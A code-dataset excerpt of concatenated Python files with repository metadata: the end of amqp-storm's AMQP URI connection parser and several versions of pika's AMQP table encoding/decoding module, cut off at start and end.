Usage:
UriConnect('amqp://guest:guest@localhost:5672/%2F?heartbeat=60')
UriConnect('amqps://guest:guest@localhost:5671/%2F?heartbeat=60')
"""
__slots__ = []
def __init__(self, uri, lazy=False):
"""
:param str uri: AMQP Connection string
:raises TypeError: Raises on invalid uri.
:raises ValueError: Raises on invalid uri.
:raises AttributeError: Raises on invalid uri.
:raises AMQPConnectionError: Raises if the connection
encountered an error.
"""
uri = compatibility.patch_uri(uri)
parsed_uri = urlparse.urlparse(uri)
use_ssl = parsed_uri.scheme == 'https'
hostname = parsed_uri.hostname or 'localhost'
port = parsed_uri.port or 5672
username = urlparse.unquote(parsed_uri.username or 'guest')
password = urlparse.unquote(parsed_uri.password or 'guest')
kwargs = self._parse_uri_options(parsed_uri, use_ssl)
super(UriConnection, self).__init__(hostname, username,
password, port,
lazy=lazy,
**kwargs)
def _parse_uri_options(self, parsed_uri, use_ssl):
"""Parse the uri options.
:param parsed_uri:
:param bool use_ssl:
:return:
"""
kwargs = urlparse.parse_qs(parsed_uri.query)
vhost = urlparse.unquote(parsed_uri.path[1:]) or DEFAULT_VIRTUAL_HOST
options = {
'ssl': use_ssl,
'virtual_host': vhost,
'heartbeat': int(kwargs.pop('heartbeat',
[DEFAULT_HEARTBEAT_INTERVAL])[0]),
'timeout': int(kwargs.pop('timeout',
[DEFAULT_SOCKET_TIMEOUT])[0])
}
if use_ssl:
if not compatibility.SSL_SUPPORTED:
raise AMQPConnectionError(
'Python not compiled with support '
'for TLSv1 or higher'
)
options['ssl_options'] = self._parse_ssl_options(kwargs)
return options
def _parse_ssl_options(self, ssl_kwargs):
"""Parse TLS Options.
:param ssl_kwargs:
:rtype: dict
"""
ssl_options = {}
for key in ssl_kwargs:
if key not in compatibility.SSL_OPTIONS:
LOGGER.warning('invalid option: %s', key)
continue
if 'ssl_version' in key:
value = self._get_ssl_version(ssl_kwargs[key][0])
elif 'cert_reqs' in key:
value = self._get_ssl_validation(ssl_kwargs[key][0])
else:
value = ssl_kwargs[key][0]
ssl_options[key] = value
return ssl_options
def _get_ssl_version(self, value):
"""Get the TLS Version.
:param str value:
:return: TLS Version
"""
return self._get_ssl_attribute(value, compatibility.SSL_VERSIONS,
ssl.PROTOCOL_TLSv1,
'ssl_options: ssl_version \'%s\' not '
'found falling back to PROTOCOL_TLSv1.')
def _get_ssl_validation(self, value):
"""Get the TLS Validation option.
:param str value:
:return: TLS Certificate Options
"""
return self._get_ssl_attribute(value, compatibility.SSL_CERT_MAP,
ssl.CERT_NONE,
'ssl_options: cert_reqs \'%s\' not '
'found falling back to CERT_NONE.')
@staticmethod
def _get_ssl_attribute(value, mapping, default_value, warning_message):
"""Get the TLS attribute based on the compatibility mapping.
If no valid attribute can be found, fall-back on default and
display a warning.
:param str value:
:param dict mapping: Dictionary based mapping
:param default_value: Default fall-back value
:param str warning_message: Warning message
:return:
"""
for key in mapping:
if not key.endswith(value.lower()):
continue
return mapping[key]
LOGGER.warning(warning_message, value)
return default_value
| {
"repo_name": "eandersson/amqp-storm",
"path": "amqpstorm/uri_connection.py",
"copies": "1",
"size": "5033",
"license": "mit",
"hash": -5888291019807490000,
"line_mean": 35.7372262774,
"line_max": 79,
"alpha_frac": 0.5549374131,
"autogenerated": false,
"ratio": 4.550632911392405,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5605570324492405,
"avg_score": null,
"num_lines": null
} |
"""AMQP Table Encoding/Decoding"""
import struct
import decimal
import calendar
from datetime import datetime
from pika import exceptions
from pika.compat import unicode_type, PY2, long, as_bytes
def encode_short_string(pieces, value):
"""Encode a string value as short string and append it to pieces list
returning the size of the encoded value.
:param list pieces: Already encoded values
:param value: String value to encode
:type value: str or unicode
:rtype: int
"""
encoded_value = as_bytes(value)
length = len(encoded_value)
# 4.2.5.3
# Short strings, stored as an 8-bit unsigned integer length followed by zero
# or more octets of data. Short strings can carry up to 255 octets of UTF-8
# data, but may not contain binary zero octets.
# ...
# 4.2.5.5
# The server SHOULD validate field names and upon receiving an invalid field
# name, it SHOULD signal a connection exception with reply code 503 (syntax
# error).
# -> validate length (avoid truncated utf-8 / corrupted data), but skip null
# byte check.
if length > 255:
raise exceptions.ShortStringTooLong(encoded_value)
pieces.append(struct.pack('B', length))
pieces.append(encoded_value)
return 1 + length
if PY2:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
# Purely for compatibility with original python2 code. No idea what
# and why this does.
value = encoded[offset:offset + length]
try:
value = bytes(value)
except UnicodeEncodeError:
pass
offset += length
return value, offset
else:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
value = encoded[offset:offset + length].decode('utf8')
offset += length
return value, offset
def encode_table(pieces, table):
"""Encode a dict as an AMQP table appending the encded table to the
pieces list passed in.
:param list pieces: Already encoded frame pieces
:param dict table: The dict to encode
:rtype: int
"""
table = table or {}
length_index = len(pieces)
pieces.append(None) # placeholder
tablesize = 0
for (key, value) in table.items():
tablesize += encode_short_string(pieces, key)
tablesize += encode_value(pieces, value)
pieces[length_index] = struct.pack('>I', tablesize)
return tablesize + 4
def encode_value(pieces, value):
"""Encode the value passed in and append it to the pieces list returning
the the size of the encoded value.
:param list pieces: Already encoded values
:param any value: The value to encode
:rtype: int
"""
if PY2:
if isinstance(value, basestring):
if isinstance(value, unicode_type):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
else:
# support only str on Python 3
if isinstance(value, str):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
if isinstance(value, bool):
pieces.append(struct.pack('>cB', b't', int(value)))
return 2
if isinstance(value, long):
pieces.append(struct.pack('>cq', b'l', value))
return 9
elif isinstance(value, int):
pieces.append(struct.pack('>ci', b'I', value))
return 5
elif isinstance(value, decimal.Decimal):
value = value.normalize()
if value.as_tuple().exponent < 0:
decimals = -value.as_tuple().exponent
raw = int(value * (decimal.Decimal(10) ** decimals))
pieces.append(struct.pack('>cBi', b'D', decimals, raw))
else:
# per spec, the "decimals" octet is unsigned (!)
pieces.append(struct.pack('>cBi', b'D', 0, int(value)))
return 6
elif isinstance(value, datetime):
pieces.append(struct.pack('>cQ', b'T',
calendar.timegm(value.utctimetuple())))
return 9
elif isinstance(value, dict):
pieces.append(struct.pack('>c', b'F'))
return 1 + encode_table(pieces, value)
elif isinstance(value, list):
p = []
for v in value:
encode_value(p, v)
piece = b''.join(p)
pieces.append(struct.pack('>cI', b'A', len(piece)))
pieces.append(piece)
return 5 + len(piece)
elif value is None:
pieces.append(struct.pack('>c', b'V'))
return 1
else:
raise exceptions.UnsupportedAMQPFieldException(pieces, value)
def decode_table(encoded, offset):
"""Decode the AMQP table passed in from the encoded value returning the
decoded result and the number of bytes read plus the offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
"""
result = {}
tablesize = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
limit = offset + tablesize
while offset < limit:
key, offset = decode_short_string(encoded, offset)
value, offset = decode_value(encoded, offset)
result[key] = value
return result, offset
def decode_value(encoded, offset):
"""Decode the value passed in returning the decoded value and the number
of bytes read in addition to the starting offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
:raises: pika.exceptions.InvalidFieldTypeException
"""
# slice to get bytes in Python 3 and str in Python 2
kind = encoded[offset:offset + 1]
offset += 1
# Bool
if kind == b't':
value = struct.unpack_from('>B', encoded, offset)[0]
value = bool(value)
offset += 1
# Short-Short Int
elif kind == b'b':
value = struct.unpack_from('>B', encoded, offset)[0]
offset += 1
# Short-Short Unsigned Int
elif kind == b'B':
value = struct.unpack_from('>b', encoded, offset)[0]
offset += 1
# Short Int
elif kind == b'U':
value = struct.unpack_from('>h', encoded, offset)[0]
offset += 2
# Short Unsigned Int
elif kind == b'u':
value = struct.unpack_from('>H', encoded, offset)[0]
offset += 2
# Long Int
elif kind == b'I':
value = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
# Long Unsigned Int
elif kind == b'i':
value = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
# Long-Long Int
elif kind == b'L':
value = long(struct.unpack_from('>q', encoded, offset)[0])
offset += 8
# Long-Long Unsigned Int
elif kind == b'l':
value = long(struct.unpack_from('>Q', encoded, offset)[0])
offset += 8
# Float
elif kind == b'f':
value = long(struct.unpack_from('>f', encoded, offset)[0])
offset += 4
# Double
elif kind == b'd':
value = long(struct.unpack_from('>d', encoded, offset)[0])
offset += 8
# Decimal
elif kind == b'D':
decimals = struct.unpack_from('B', encoded, offset)[0]
offset += 1
raw = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
value = decimal.Decimal(raw) * (decimal.Decimal(10) ** -decimals)
# Short String
elif kind == b's':
value, offset = decode_short_string(encoded, offset)
# Long String
elif kind == b'S':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
value = encoded[offset:offset + length].decode('utf8')
offset += length
# Field Array
elif kind == b'A':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
offset_end = offset + length
value = []
while offset < offset_end:
v, offset = decode_value(encoded, offset)
value.append(v)
# Timestamp
elif kind == b'T':
value = datetime.utcfromtimestamp(struct.unpack_from('>Q', encoded,
offset)[0])
offset += 8
# Field Table
elif kind == b'F':
(value, offset) = decode_table(encoded, offset)
# Null / Void
elif kind == b'V':
value = None
else:
raise exceptions.InvalidFieldTypeException(kind)
return value, offset
| {
"repo_name": "CODEiverse/SassyMQ-OpenSourceTools",
"path": "PySassyMQ/SassyMQ/SassyMQ/OSTL/pika/data.py",
"copies": "13",
"size": "8916",
"license": "mpl-2.0",
"hash": 2099263809362065000,
"line_mean": 29.6391752577,
"line_max": 80,
"alpha_frac": 0.5902871243,
"autogenerated": false,
"ratio": 4.003592276605299,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": null,
"num_lines": null
} |
"""AMQP Table Encoding/Decoding"""
import struct
import decimal
import calendar
from datetime import datetime
from pika import exceptions
def encode_table(pieces, table):
"""Encode a dict as an AMQP table appending the encded table to the
pieces list passed in.
:param list pieces: Already encoded frame pieces
:param dict table: The dict to encode
:rtype: int
"""
table = table or dict()
length_index = len(pieces)
pieces.append(None) # placeholder
tablesize = 0
for (key, value) in table.items():
if isinstance(key, unicode):
key = key.encode('utf-8')
pieces.append(struct.pack('B', len(key)))
pieces.append(key)
tablesize = tablesize + 1 + len(key)
tablesize += encode_value(pieces, value)
pieces[length_index] = struct.pack('>I', tablesize)
return tablesize + 4
def encode_value(pieces, value):
"""Encode the value passed in and append it to the pieces list returning
the the size of the encoded value.
:param list pieces: Already encoded values
:param any value: The value to encode
:rtype: int
"""
if isinstance(value, basestring):
if isinstance(value, unicode):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', 'S', len(value)))
pieces.append(value)
return 5 + len(value)
elif isinstance(value, bool):
pieces.append(struct.pack('>cB', 't', int(value)))
return 2
elif isinstance(value, int):
pieces.append(struct.pack('>ci', 'I', value))
return 5
elif isinstance(value, long):
pieces.append(struct.pack('>cq', 'l', value))
return 9
elif isinstance(value, decimal.Decimal):
value = value.normalize()
if value._exp < 0:
decimals = -value._exp
raw = int(value * (decimal.Decimal(10) ** decimals))
pieces.append(struct.pack('>cBi', 'D', decimals, raw))
else:
# per spec, the "decimals" octet is unsigned (!)
pieces.append(struct.pack('>cBi', 'D', 0, int(value)))
return 6
elif isinstance(value, datetime):
pieces.append(struct.pack('>cQ', 'T',
calendar.timegm(value.utctimetuple())))
return 9
elif isinstance(value, dict):
pieces.append(struct.pack('>c', 'F'))
return 1 + encode_table(pieces, value)
elif isinstance(value, list):
p = []
for v in value:
encode_value(p, v)
piece = ''.join(p)
pieces.append(struct.pack('>cI', 'A', len(piece)))
pieces.append(piece)
return 5 + len(piece)
elif value is None:
pieces.append(struct.pack('>c', 'V'))
return 1
else:
raise exceptions.UnspportedAMQPFieldException(pieces, value)
def decode_table(encoded, offset):
"""Decode the AMQP table passed in from the encoded value returning the
decoded result and the number of bytes read plus the offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
"""
result = {}
tablesize = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
limit = offset + tablesize
while offset < limit:
keylen = struct.unpack_from('B', encoded, offset)[0]
offset += 1
key = encoded[offset: offset + keylen]
offset += keylen
value, offset = decode_value(encoded, offset)
result[key] = value
return result, offset
def decode_value(encoded, offset):
"""Decode the value passed in returning the decoded value and the number
of bytes read in addition to the starting offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
:raises: pika.exceptions.InvalidFieldTypeException
"""
kind = encoded[offset]
offset += 1
# Bool
if kind == 't':
value = struct.unpack_from('>B', encoded, offset)[0]
value = bool(value)
offset += 1
# Short-Short Int
elif kind == 'b':
value = struct.unpack_from('>B', encoded, offset)[0]
offset += 1
# Short-Short Unsigned Int
elif kind == 'B':
value = struct.unpack_from('>b', encoded, offset)[0]
offset += 1
# Short Int
elif kind == 'U':
value = struct.unpack_from('>h', encoded, offset)[0]
offset += 2
# Short Unsigned Int
elif kind == 'u':
value = struct.unpack_from('>H', encoded, offset)[0]
offset += 2
# Long Int
elif kind == 'I':
value = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
# Long Unsigned Int
elif kind == 'i':
value = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
# Long-Long Int
elif kind == 'L':
value = long(struct.unpack_from('>q', encoded, offset)[0])
offset += 8
# Long-Long Unsigned Int
elif kind == 'l':
value = long(struct.unpack_from('>Q', encoded, offset)[0])
offset += 8
# Float
elif kind == 'f':
value = long(struct.unpack_from('>f', encoded, offset)[0])
offset += 4
# Double
elif kind == 'd':
value = long(struct.unpack_from('>d', encoded, offset)[0])
offset += 8
# Decimal
elif kind == 'D':
decimals = struct.unpack_from('B', encoded, offset)[0]
offset += 1
raw = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
value = decimal.Decimal(raw) * (decimal.Decimal(10) ** -decimals)
# Short String
elif kind == 's':
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
value = encoded[offset: offset + length].decode('utf8')
try:
value = str(value)
except UnicodeEncodeError:
pass
offset += length
# Long String
elif kind == 'S':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
value = encoded[offset: offset + length].decode('utf8')
try:
value = str(value)
except UnicodeEncodeError:
pass
offset += length
# Field Array
elif kind == 'A':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
offset_end = offset + length
value = []
while offset < offset_end:
v, offset = decode_value(encoded, offset)
value.append(v)
# Timestamp
elif kind == 'T':
value = datetime.utcfromtimestamp(struct.unpack_from('>Q', encoded,
offset)[0])
offset += 8
# Field Table
elif kind == 'F':
(value, offset) = decode_table(encoded, offset)
# Null / Void
elif kind == 'V':
value = None
else:
raise exceptions.InvalidFieldTypeException(kind)
return value, offset
| {
"repo_name": "suthat/signal",
"path": "vendor/python-pika/pika/data.py",
"copies": "1",
"size": "7028",
"license": "apache-2.0",
"hash": 3407282808409613300,
"line_mean": 28.4058577406,
"line_max": 76,
"alpha_frac": 0.5710017075,
"autogenerated": false,
"ratio": 4.020594965675057,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 239
} |
"""AMQP Table Encoding/Decoding"""
import struct
import decimal
import calendar
from datetime import datetime
from servicebus.pika import exceptions
from servicebus.pika.compat import unicode_type, PY2, long, as_bytes
def encode_short_string(pieces, value):
"""Encode a string value as short string and append it to pieces list
returning the size of the encoded value.
:param list pieces: Already encoded values
:param value: String value to encode
:type value: str or unicode
:rtype: int
"""
encoded_value = as_bytes(value)
length = len(encoded_value)
# 4.2.5.3
# Short strings, stored as an 8-bit unsigned integer length followed by zero
# or more octets of data. Short strings can carry up to 255 octets of UTF-8
# data, but may not contain binary zero octets.
# ...
# 4.2.5.5
# The server SHOULD validate field names and upon receiving an invalid field
# name, it SHOULD signal a connection exception with reply code 503 (syntax
# error).
# -> validate length (avoid truncated utf-8 / corrupted data), but skip null
# byte check.
if length > 255:
raise exceptions.ShortStringTooLong(encoded_value)
pieces.append(struct.pack('B', length))
pieces.append(encoded_value)
return 1 + length
if PY2:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
# Purely for compatibility with original python2 code. No idea what
# and why this does.
value = encoded[offset:offset + length]
try:
value = bytes(value)
except UnicodeEncodeError:
pass
offset += length
return value, offset
else:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
value = encoded[offset:offset + length].decode('utf8')
offset += length
return value, offset
def encode_table(pieces, table):
"""Encode a dict as an AMQP table appending the encded table to the
pieces list passed in.
:param list pieces: Already encoded frame pieces
:param dict table: The dict to encode
:rtype: int
"""
table = table or {}
length_index = len(pieces)
pieces.append(None) # placeholder
tablesize = 0
for (key, value) in table.items():
tablesize += encode_short_string(pieces, key)
tablesize += encode_value(pieces, value)
pieces[length_index] = struct.pack('>I', tablesize)
return tablesize + 4
def encode_value(pieces, value):
"""Encode the value passed in and append it to the pieces list returning
the the size of the encoded value.
:param list pieces: Already encoded values
:param any value: The value to encode
:rtype: int
"""
if PY2:
if isinstance(value, basestring):
if isinstance(value, unicode_type):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
else:
# support only str on Python 3
if isinstance(value, str):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
if isinstance(value, bool):
pieces.append(struct.pack('>cB', b't', int(value)))
return 2
if isinstance(value, long):
pieces.append(struct.pack('>cq', b'l', value))
return 9
elif isinstance(value, int):
pieces.append(struct.pack('>ci', b'I', value))
return 5
elif isinstance(value, decimal.Decimal):
value = value.normalize()
if value.as_tuple().exponent < 0:
decimals = -value.as_tuple().exponent
raw = int(value * (decimal.Decimal(10) ** decimals))
pieces.append(struct.pack('>cBi', b'D', decimals, raw))
else:
# per spec, the "decimals" octet is unsigned (!)
pieces.append(struct.pack('>cBi', b'D', 0, int(value)))
return 6
elif isinstance(value, datetime):
pieces.append(struct.pack('>cQ', b'T',
calendar.timegm(value.utctimetuple())))
return 9
elif isinstance(value, dict):
pieces.append(struct.pack('>c', b'F'))
return 1 + encode_table(pieces, value)
elif isinstance(value, list):
p = []
for v in value:
encode_value(p, v)
piece = b''.join(p)
pieces.append(struct.pack('>cI', b'A', len(piece)))
pieces.append(piece)
return 5 + len(piece)
elif value is None:
pieces.append(struct.pack('>c', b'V'))
return 1
else:
raise exceptions.UnsupportedAMQPFieldException(pieces, value)
def decode_table(encoded, offset):
"""Decode the AMQP table passed in from the encoded value returning the
decoded result and the number of bytes read plus the offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
"""
result = {}
tablesize = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
limit = offset + tablesize
while offset < limit:
key, offset = decode_short_string(encoded, offset)
value, offset = decode_value(encoded, offset)
result[key] = value
return result, offset
def decode_value(encoded, offset):
"""Decode the value passed in returning the decoded value and the number
of bytes read in addition to the starting offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
:raises: pika.exceptions.InvalidFieldTypeException
"""
# slice to get bytes in Python 3 and str in Python 2
kind = encoded[offset:offset + 1]
offset += 1
# Bool
if kind == b't':
value = struct.unpack_from('>B', encoded, offset)[0]
value = bool(value)
offset += 1
# Short-Short Int
elif kind == b'b':
value = struct.unpack_from('>B', encoded, offset)[0]
offset += 1
# Short-Short Unsigned Int
elif kind == b'B':
value = struct.unpack_from('>b', encoded, offset)[0]
offset += 1
# Short Int
elif kind == b'U':
value = struct.unpack_from('>h', encoded, offset)[0]
offset += 2
# Short Unsigned Int
elif kind == b'u':
value = struct.unpack_from('>H', encoded, offset)[0]
offset += 2
# Long Int
elif kind == b'I':
value = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
# Long Unsigned Int
elif kind == b'i':
value = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
# Long-Long Int
elif kind == b'L':
value = long(struct.unpack_from('>q', encoded, offset)[0])
offset += 8
# Long-Long Unsigned Int
elif kind == b'l':
value = long(struct.unpack_from('>Q', encoded, offset)[0])
offset += 8
# Float
elif kind == b'f':
value = long(struct.unpack_from('>f', encoded, offset)[0])
offset += 4
# Double
elif kind == b'd':
value = long(struct.unpack_from('>d', encoded, offset)[0])
offset += 8
# Decimal
elif kind == b'D':
decimals = struct.unpack_from('B', encoded, offset)[0]
offset += 1
raw = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
value = decimal.Decimal(raw) * (decimal.Decimal(10) ** -decimals)
# Short String
elif kind == b's':
value, offset = decode_short_string(encoded, offset)
# Long String
elif kind == b'S':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
value = encoded[offset:offset + length].decode('utf8')
offset += length
# Field Array
elif kind == b'A':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
offset_end = offset + length
value = []
while offset < offset_end:
v, offset = decode_value(encoded, offset)
value.append(v)
# Timestamp
elif kind == b'T':
value = datetime.utcfromtimestamp(struct.unpack_from('>Q', encoded,
offset)[0])
offset += 8
# Field Table
elif kind == b'F':
(value, offset) = decode_table(encoded, offset)
# Null / Void
elif kind == b'V':
value = None
else:
raise exceptions.InvalidFieldTypeException(kind)
return value, offset
| {
"repo_name": "blacktear23/py-servicebus",
"path": "servicebus/pika/data.py",
"copies": "1",
"size": "8938",
"license": "bsd-3-clause",
"hash": -8873681770464543000,
"line_mean": 29.7147766323,
"line_max": 80,
"alpha_frac": 0.5910718281,
"autogenerated": false,
"ratio": 4.00268696820421,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.509375879630421,
"avg_score": null,
"num_lines": null
} |
"""AMQP Table Encoding/Decoding"""
import struct
import decimal
import calendar
import warnings
from datetime import datetime
from pika import exceptions
from pika.compat import PY2, PY3
from pika.compat import unicode_type, long, as_bytes
def encode_short_string(pieces, value):
"""Encode a string value as short string and append it to pieces list
returning the size of the encoded value.
:param list pieces: Already encoded values
:param value: String value to encode
:type value: str or unicode
:rtype: int
"""
encoded_value = as_bytes(value)
length = len(encoded_value)
# 4.2.5.3
# Short strings, stored as an 8-bit unsigned integer length followed by zero
# or more octets of data. Short strings can carry up to 255 octets of UTF-8
# data, but may not contain binary zero octets.
# ...
# 4.2.5.5
# The server SHOULD validate field names and upon receiving an invalid field
# name, it SHOULD signal a connection exception with reply code 503 (syntax
# error).
# -> validate length (avoid truncated utf-8 / corrupted data), but skip null
# byte check.
if length > 255:
raise exceptions.ShortStringTooLong(encoded_value)
pieces.append(struct.pack('B', length))
pieces.append(encoded_value)
return 1 + length
if PY2:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
# Purely for compatibility with original python2 code. No idea what
# and why this does.
value = encoded[offset:offset + length]
try:
value = bytes(value)
except UnicodeEncodeError:
pass
offset += length
return value, offset
else:
def decode_short_string(encoded, offset):
"""Decode a short string value from ``encoded`` data at ``offset``.
"""
length = struct.unpack_from('B', encoded, offset)[0]
offset += 1
value = encoded[offset:offset + length]
try:
value = value.decode('utf8')
except UnicodeDecodeError:
pass
offset += length
return value, offset
def encode_table(pieces, table):
"""Encode a dict as an AMQP table appending the encded table to the
pieces list passed in.
:param list pieces: Already encoded frame pieces
:param dict table: The dict to encode
:rtype: int
"""
table = table or {}
length_index = len(pieces)
pieces.append(None) # placeholder
tablesize = 0
for (key, value) in table.items():
tablesize += encode_short_string(pieces, key)
tablesize += encode_value(pieces, value)
pieces[length_index] = struct.pack('>I', tablesize)
return tablesize + 4
def encode_value(pieces, value):
"""Encode the value passed in and append it to the pieces list returning
the the size of the encoded value.
:param list pieces: Already encoded values
:param any value: The value to encode
:rtype: int
"""
if PY2:
if isinstance(value, basestring):
if isinstance(value, unicode_type):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
else:
# support only str on Python 3
if isinstance(value, str):
value = value.encode('utf-8')
pieces.append(struct.pack('>cI', b'S', len(value)))
pieces.append(value)
return 5 + len(value)
if isinstance(value, bytes):
pieces.append(struct.pack('>cI', b'x', len(value)))
pieces.append(value)
return 5 + len(value)
if isinstance(value, bool):
pieces.append(struct.pack('>cB', b't', int(value)))
return 2
if isinstance(value, long):
pieces.append(struct.pack('>cq', b'l', value))
return 9
elif isinstance(value, int):
with warnings.catch_warnings():
warnings.filterwarnings('error')
try:
p = struct.pack('>ci', b'I', value)
pieces.append(p)
return 5
except (struct.error, DeprecationWarning):
p = struct.pack('>cq', b'l', long(value))
pieces.append(p)
return 9
elif isinstance(value, decimal.Decimal):
value = value.normalize()
if value.as_tuple().exponent < 0:
decimals = -value.as_tuple().exponent
raw = int(value * (decimal.Decimal(10) ** decimals))
pieces.append(struct.pack('>cBi', b'D', decimals, raw))
else:
# per spec, the "decimals" octet is unsigned (!)
pieces.append(struct.pack('>cBi', b'D', 0, int(value)))
return 6
elif isinstance(value, datetime):
pieces.append(struct.pack('>cQ', b'T',
calendar.timegm(value.utctimetuple())))
return 9
elif isinstance(value, dict):
pieces.append(struct.pack('>c', b'F'))
return 1 + encode_table(pieces, value)
elif isinstance(value, list):
p = []
for v in value:
encode_value(p, v)
piece = b''.join(p)
pieces.append(struct.pack('>cI', b'A', len(piece)))
pieces.append(piece)
return 5 + len(piece)
elif value is None:
pieces.append(struct.pack('>c', b'V'))
return 1
else:
raise exceptions.UnsupportedAMQPFieldException(pieces, value)
def decode_table(encoded, offset):
"""Decode the AMQP table passed in from the encoded value returning the
decoded result and the number of bytes read plus the offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
"""
result = {}
tablesize = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
limit = offset + tablesize
while offset < limit:
key, offset = decode_short_string(encoded, offset)
value, offset = decode_value(encoded, offset)
result[key] = value
return result, offset
def decode_value(encoded, offset):
"""Decode the value passed in returning the decoded value and the number
of bytes read in addition to the starting offset.
:param str encoded: The binary encoded data to decode
:param int offset: The starting byte offset
:rtype: tuple
:raises: pika.exceptions.InvalidFieldTypeException
"""
# slice to get bytes in Python 3 and str in Python 2
kind = encoded[offset:offset + 1]
offset += 1
# Bool
if kind == b't':
value = struct.unpack_from('>B', encoded, offset)[0]
value = bool(value)
offset += 1
# Short-Short Int
elif kind == b'b':
value = struct.unpack_from('>B', encoded, offset)[0]
offset += 1
# Short-Short Unsigned Int
elif kind == b'B':
value = struct.unpack_from('>b', encoded, offset)[0]
offset += 1
# Short Int
elif kind == b'U':
value = struct.unpack_from('>h', encoded, offset)[0]
offset += 2
# Short Unsigned Int
elif kind == b'u':
value = struct.unpack_from('>H', encoded, offset)[0]
offset += 2
# Long Int
elif kind == b'I':
value = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
# Long Unsigned Int
elif kind == b'i':
value = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
# Long-Long Int
elif kind == b'L':
value = long(struct.unpack_from('>q', encoded, offset)[0])
offset += 8
# Long-Long Unsigned Int
elif kind == b'l':
value = long(struct.unpack_from('>Q', encoded, offset)[0])
offset += 8
# Float
elif kind == b'f':
value = long(struct.unpack_from('>f', encoded, offset)[0])
offset += 4
# Double
elif kind == b'd':
value = long(struct.unpack_from('>d', encoded, offset)[0])
offset += 8
# Decimal
elif kind == b'D':
decimals = struct.unpack_from('B', encoded, offset)[0]
offset += 1
raw = struct.unpack_from('>i', encoded, offset)[0]
offset += 4
value = decimal.Decimal(raw) * (decimal.Decimal(10) ** -decimals)
# Short String
elif kind == b's':
value, offset = decode_short_string(encoded, offset)
# Long String
elif kind == b'S':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
value = encoded[offset:offset + length]
try:
value = value.decode('utf8')
except UnicodeDecodeError:
pass
offset += length
elif kind == b'x':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
value = encoded[offset:offset + length]
offset += length
# Field Array
elif kind == b'A':
length = struct.unpack_from('>I', encoded, offset)[0]
offset += 4
offset_end = offset + length
value = []
while offset < offset_end:
v, offset = decode_value(encoded, offset)
value.append(v)
# Timestamp
elif kind == b'T':
value = datetime.utcfromtimestamp(struct.unpack_from('>Q', encoded,
offset)[0])
offset += 8
# Field Table
elif kind == b'F':
(value, offset) = decode_table(encoded, offset)
# Null / Void
elif kind == b'V':
value = None
else:
raise exceptions.InvalidFieldTypeException(kind)
return value, offset
| {
"repo_name": "vitaly-krugl/pika",
"path": "pika/data.py",
"copies": "1",
"size": "9803",
"license": "bsd-3-clause",
"hash": 9072892460309541000,
"line_mean": 29.4440993789,
"line_max": 80,
"alpha_frac": 0.5816586759,
"autogenerated": false,
"ratio": 4.0608947804473905,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5142553456347391,
"avg_score": null,
"num_lines": null
} |
"""AMQP Table Encoding/Decoding"""
import struct
import decimal
import calendar
from datetime import datetime
from pika import exceptions
from pika.compat import PY2, basestring
from pika.compat import unicode_type, long, as_bytes
def encode_short_string(pieces, value):
"""Encode a string value as short string and append it to pieces list
returning the size of the encoded value.
